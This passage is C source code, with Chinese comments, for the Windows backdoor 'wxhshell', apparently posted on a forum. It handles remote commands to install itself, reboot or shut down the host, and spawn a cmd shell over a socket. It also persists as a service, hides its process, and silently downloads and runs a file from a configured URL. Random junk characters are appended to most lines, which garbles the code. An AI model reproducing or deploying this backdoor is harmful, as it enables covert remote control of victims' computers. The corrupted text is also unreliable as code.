      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y4^6I$M7V  
    break; M S)(\&N  
  } [RTB|0Q  
  // 安装 .n'z\] -/Q  
  case 'i': { 3~iIo&NZ  
    if(Install()) IDyf9Zra?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9X/c%:)\=  
    else LzEs_B=9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u|z B\zd  
    break; v `9IS+Z  
    } UEbRg =6  
  // 卸载 ?kMG!stgp}  
  case 'r': { iqW T<WY  
    if(Uninstall()) l:5x*QSX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *"2TT})   
    else O'a Srjl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .gh3"  
    break; L}7c{6!F7  
    } N&n2\Y  
  // 显示 wxhshell 所在路径 n.Iu|,?q  
  case 'p': { icLf; @  
    char svExeFile[MAX_PATH]; c;C:$B7  
    strcpy(svExeFile,"\n\r"); )/A IfH  
      strcat(svExeFile,ExeFile); |#fqHON  
        send(wsh,svExeFile,strlen(svExeFile),0); 3R>U^ Y  
    break; }D-h=,];  
    } pHSq,XP-  
  // 重启 ()i8 Qepo}  
  case 'b': { R/&Bze  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,{!~rSq-l  
    if(Boot(REBOOT)) Z<T%:F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ke@zS9  
    else { #Y6'Q8g f  
    closesocket(wsh); #0V$KC*>  
    ExitThread(0); q|xJ)[AO  
    } A6v<+`?  
    break; AX! YB'm-  
    } Uax[Zh[Cg  
  // 关机 ~vgm; O  
  case 'd': { zBg>I=hiG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R`sU5:n  
    if(Boot(SHUTDOWN)) r*'a-2A u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hY X H9:  
    else { aVcQ  
    closesocket(wsh); \W Kly  
    ExitThread(0); Y).5(t7zaR  
    } !c,=%4Pb  
    break; z'OY6  
    } G41 gil6k  
  // 获取shell [9| 8p$  
  case 's': { {eo4J&as  
    CmdShell(wsh); N'[bA  
    closesocket(wsh); jp?;8rS3  
    ExitThread(0); / V}>v  
    break; *Y(v!x \L  
  } uH 1%diL^  
  // 退出  JsAl;w  
  case 'x': { oU[Ba8qh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %v 0 I;t  
    CloseIt(wsh); 6 B>1"h%Wf  
    break; -? {bCq  
    } szW_cjS  
  // 离开 b/65Q&g'  
  case 'q': { (T+fO}0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wn2+4> |~p  
    closesocket(wsh); _EMq"\ND  
    WSACleanup(); -v"\WmcS  
    exit(1); F/GfEMSE  
    break; =8FV&|fP  
        } K8xwPoRL  
  } G&8)5d[  
  } KZ_d..l*W  
,Yx"3i,  
  // 提示信息 VQA}!p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |L|)r)t  
} CGmObN8~'F  
  } M\\t)=q  
;o* n*N  
  return; 1haNca_6,  
} mRVE@ pc2X  
XwWp4`Fd  
// shell模块句柄 n-iy;L^b  
int CmdShell(SOCKET sock) HRP4"#9R  
{ ]r++YIg!j  
STARTUPINFO si; 4JF)w;X}  
ZeroMemory(&si,sizeof(si)); F|.,lb |L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GiI|6z!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @ n<y[WA  
PROCESS_INFORMATION ProcessInfo; L,G{ t^j  
char cmdline[]="cmd"; Ucnj7>+"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wV\;,(<x=%  
  return 0; a|aRUxa0"  
} xe ng`!  
zGKDH=Yy ;  
// 自身启动模式 lFvRXV^+f  
int StartFromService(void) :6R0=oz  
{ hF`e>?bN  
typedef struct g+shz{3zvz  
{ pe(31%(h  
  DWORD ExitStatus; %g1{nGah  
  DWORD PebBaseAddress; " p]bsJG  
  DWORD AffinityMask; `R:p-"'b  
  DWORD BasePriority; oJ|8~:)  
  ULONG UniqueProcessId; (Ic{C5'  
  ULONG InheritedFromUniqueProcessId; %tx~CD  
}   PROCESS_BASIC_INFORMATION; ?M2#fD]e  
!&4<"wQ  
PROCNTQSIP NtQueryInformationProcess; "XQj ~L  
}<?1\k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FCO5SX#-g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UG)J4ZX  
0sxZa+G0o  
  HANDLE             hProcess; Om #m":  
  PROCESS_BASIC_INFORMATION pbi; Qn`$xY9mT  
iaShxoIV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -"*UICd  
  if(NULL == hInst ) return 0; oy+``W~  
\;w$"@9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^H]q[XFR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )C>4? )  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^(,qkq'u D  
`<R;^qCt  
  if (!NtQueryInformationProcess) return 0; p4} ,xQzB  
eK]g FXk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M#v#3:&5  
  if(!hProcess) return 0; 8S;]]*cD~  
;O8Uc&:P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m e\S:  
`dB!Ia|  
  CloseHandle(hProcess); 96W!~w2xx  
xDRNtLj<u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f5)4H  
if(hProcess==NULL) return 0; cW+6Emh  
ZM)Y Rdh  
HMODULE hMod; #is1y3yh  
char procName[255]; LR:Qb]|"  
unsigned long cbNeeded; 'k|?M  
Sw##C l#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CH |A^!Zm  
?_Sf  
  CloseHandle(hProcess); ["FC   
53y,eLf  
if(strstr(procName,"services")) return 1; // 以服务启动 \W^Mo>l  
<sXmk{  
  return 0; // 注册表启动 w&6c`az8  
} !@ERAPuk  
;Dl< GW3<  
// 主模块 "T>74bj_|Q  
int StartWxhshell(LPSTR lpCmdLine) K@Z K@++  
{ :]?y,e%xu,  
  SOCKET wsl; *Q= 3v  
BOOL val=TRUE; iTb k]$  
  int port=0; wSrq?U5q  
  struct sockaddr_in door;  VlGg?  
JzhbuWwF-  
  if(wscfg.ws_autoins) Install(); :Ja]Vt  
Rg/*)SKj  
port=atoi(lpCmdLine); :H}a/ x*ur  
D9OI ",h  
if(port<=0) port=wscfg.ws_port; "wk~[>  
u_0&`zq  
  WSADATA data; &[]0yNG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fi8'3/q-^  
OKDBzl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Vq7L:,N9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9 C-!I,  
  door.sin_family = AF_INET; -8- BVU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V wj^h  
  door.sin_port = htons(port); Qg dHIMY  
YHoj^=/b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EH;w <LvT  
closesocket(wsl); L,I5/K6  
return 1; -C9 _gZ  
} YuO-a$BP  
JXR_klx  
  if(listen(wsl,2) == INVALID_SOCKET) { g.CUo:c  
closesocket(wsl); $`J'Y>`  
return 1;  ;d"F'd  
} q%HT)^F9oO  
  Wxhshell(wsl); &p\fdR4e  
  WSACleanup(); /mELnJ^  
yFfa/d  
return 0; 9Q 4m9}  
>eHSbQu/Bu  
} zE"ME*ou  
qPgLSZv  
// 以NT服务方式启动 9S"c-"y\#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XY(3!>/eQ[  
{ *W()|-[V3  
DWORD   status = 0; J \iyc,M<M  
  DWORD   specificError = 0xfffffff; mp2J|!Lx  
n-q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'qRK6}"T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >UTAk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @^Tof5?F?  
  serviceStatus.dwWin32ExitCode     = 0; l#8SlRji  
  serviceStatus.dwServiceSpecificExitCode = 0; tz(\|0WDQ  
  serviceStatus.dwCheckPoint       = 0; w#v8a$tT  
  serviceStatus.dwWaitHint       = 0; Z P\A  
Wb!"L`m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )wU.|9o]M  
  if (hServiceStatusHandle==0) return; JX_hLy@`  
e/@tU'$  
status = GetLastError(); )9sRDNr  
  if (status!=NO_ERROR) & i,on6  
{ #bX~.jKW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TV$Pl[m   
    serviceStatus.dwCheckPoint       = 0; (<?6X9F:N  
    serviceStatus.dwWaitHint       = 0; cnm&o C 6  
    serviceStatus.dwWin32ExitCode     = status; :Mz$~o<  
    serviceStatus.dwServiceSpecificExitCode = specificError; S1Q2<<[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \79KU   
    return; voRr9E*n  
  } cP[3p :  
b2OVg +3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }wmn v  
  serviceStatus.dwCheckPoint       = 0; 4_3O?IY  
  serviceStatus.dwWaitHint       = 0; /]=d Pb%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x <^vJ1  
} }]w/`TF  
qx0RCP /s  
// 处理NT服务事件,比如:启动、停止 as\6XW$;Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W@NM~+)e  
{ 2ye^mJ17  
switch(fdwControl) )zK`*Fa az  
{ neW_mu;~Z  
case SERVICE_CONTROL_STOP: 8y;W+I(71  
  serviceStatus.dwWin32ExitCode = 0; 7_r$zEP6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Kfnn;  
  serviceStatus.dwCheckPoint   = 0; \Q.Qos  
  serviceStatus.dwWaitHint     = 0; HJpkR<h  
  { ZM oV!lu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q9X7- \n  
  } 4^1B'>I  
  return; @fR^":.h  
case SERVICE_CONTROL_PAUSE: i3I'n*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XGE:ZVpW  
  break; tqLn  A  
case SERVICE_CONTROL_CONTINUE: j?Ki<MD1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XCU.tWR:  
  break; k$</7 IuH  
case SERVICE_CONTROL_INTERROGATE: ra \Moy  
  break; mG[S"?C  
};  j I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tjZ.p.IlG  
} %)[mbb  
d#:&Uw  
// 标准应用程序主函数 T.kmoLlH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `+17 x<N  
{ S -j<O&h~C  
:5X1Tr= A  
// 获取操作系统版本  8U!;  
OsIsNt=GetOsVer(); Hl"rGA>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 55xv+|k  
4`@]jm  
  // 从命令行安装 82F q}N <  
  if(strpbrk(lpCmdLine,"iI")) Install(); K @3 yS8F  
1aKYxjYM  
  // 下载执行文件 ]@OGp:Hz  
if(wscfg.ws_downexe) { j""I,$t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )5Yv7x(K  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z5juyzj  
} 7sECbbJT  
5Cxh >,k  
if(!OsIsNt) { "Y@rNmBj  
// 如果时win9x,隐藏进程并且设置为注册表启动 &Im{p7gf!b  
HideProc(); ")|3ZB7>*  
StartWxhshell(lpCmdLine); CC 1\0$ /  
} BCB"& :}  
else zAEq)9Y"l'  
  if(StartFromService()) SdhdXVZ  
  // 以服务方式启动 <1[WNj2[  
  StartServiceCtrlDispatcher(DispatchTable); Q g=k@  
else %zE_Q  
  // 普通方式启动 lcgT9 m#  
  StartWxhshell(lpCmdLine); ?(GMe>  
WTPp/Nq'  
return 0; GSg|Gz""J0  
}
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只看该作者 1 发表于: 2006-10-10
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